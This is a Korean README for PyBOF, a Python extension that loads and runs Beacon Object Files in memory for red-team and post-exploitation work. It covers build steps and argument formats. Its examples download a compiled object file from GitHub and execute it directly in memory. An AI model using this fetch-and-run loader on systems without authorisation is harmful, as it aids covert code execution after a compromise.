
Beacon Object Files용 인메모리 Python 로더로, COFF 페이로드를 실행하며 패킹/raw 인자 지원을 통해 레드팀 및 post-exploitation 워크플로우에 활용됩니다.
PyBOFBOF의 인메모리 로딩 및 실행
PyBOF는 Python3가 bytes를 통해 Beacon Object Files를 로드하고 Python 인터프리터에서 대상 BOF 함수를 실행할 수 있게 해줍니다.
data = open(r'c:\path\to\example.o', 'rb').read()
bof.run(data)
data = open(r'c:\path\to\example.o', 'rb').read()
bof.run(data, args=["foo"], raw=True)
# Raw는 function kwarg와 함께 사용할 수 없습니다.
data = open(r'c:\path\to\example.o', 'rb').read()
bof.run(data, args=[r"c:\users"], format="Z")
import bof
from urllib.request import urlopen
data = urlopen("https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/master/SA/dir/dir.x64.o").read()
bof.run(data, args=[r"c:\users"], format="Z")
PyBOF와 함께 사용할 수 있는 몇 가지 인자가 있으며, 아래에 자세히 설명되어 있습니다.
필수 첫 번째 위치 인자로, BOF의 원시 내용을 포함하는 byte 객체여야 합니다.
선택적 키워드 인자로, 대상 BOF 함수에 전달할 인자 목록입니다.
선택적 키워드 인자로, 제공된 BOF에서 실행할 대상 함수의 문자열 형식 이름이며, 기본값은 go입니다.
선택적 키워드 인자는 문자열로, BOF 인자 패커에 버퍼로 패킹되는 인자 유형을 알려줍니다. 이는 struct.pack의 format 인자와 유사합니다. 유효한 format 옵션은 다음과 같습니다:
i 정수(int)
s short
z 문자열(string)
b 바이너리(binary)
Z 와이드/유니코드 문자열(wide)
args 목록의 각 인자에 대해 최소 하나의 format 유형이 제공되어야 합니다. 이 키워드 인자는 raw와 함께 사용할 수 없습니다.
선택적 키워드 인자로, 부울 값을 가지며 BOF 함수를 위해 포맷된 인자를 패킹하는 대신 인자를 공백으로 구분된 문자열로 전달합니다. 이 키워드 인자는 format과 함께 사용할 수 없습니다.
이 저장소를 클론합니다.
git clone https://github.com/rkbennett/pybof.git
_bof c 확장을 빌드합니다.
cd pybof\src
python .\setup.py build
결과 pyd 파일을 bof 디렉터리로 복사합니다.
copy build\lib.win-xxx-cpython-3xx\_bof.cp3xx-win_xxxx.pyd ..\bof\
bof 디렉터리의 상위 디렉터리로 이동하여 임포트하고 사용합니다.
cd ..\
python
>>> import bof
>>> from urllib.request import urlopen
>>> data = urlopen("https://github.com/trustedsec/CS-Situational-Awareness-BOF/raw/master/SA/dir/dir.x64.o").read()
>>> bof.run(data, args=[r"c:\users"], format="Z")
BOF 함수가 값을 반환하지 않으면, 아무것도 반환되지 않았다는 경고를 사용자에게 알리기 위해 발생시킵니다. 이는 실행의 의도된 결과가 아닐 가능성이 높다고 가정하지만, 하드 에러를 던지고 싶지는 않았습니다. BOF 함수를 실행하고 no output 경고를 수신한 경우, 인자 형식이 정의되어야 하거나 잘못 정의되었을 수 있음을 명심하십시오(특히 wide 대신 string을 사용하는 경우) 이로 인해 이 문제가 발생할 수 있습니다.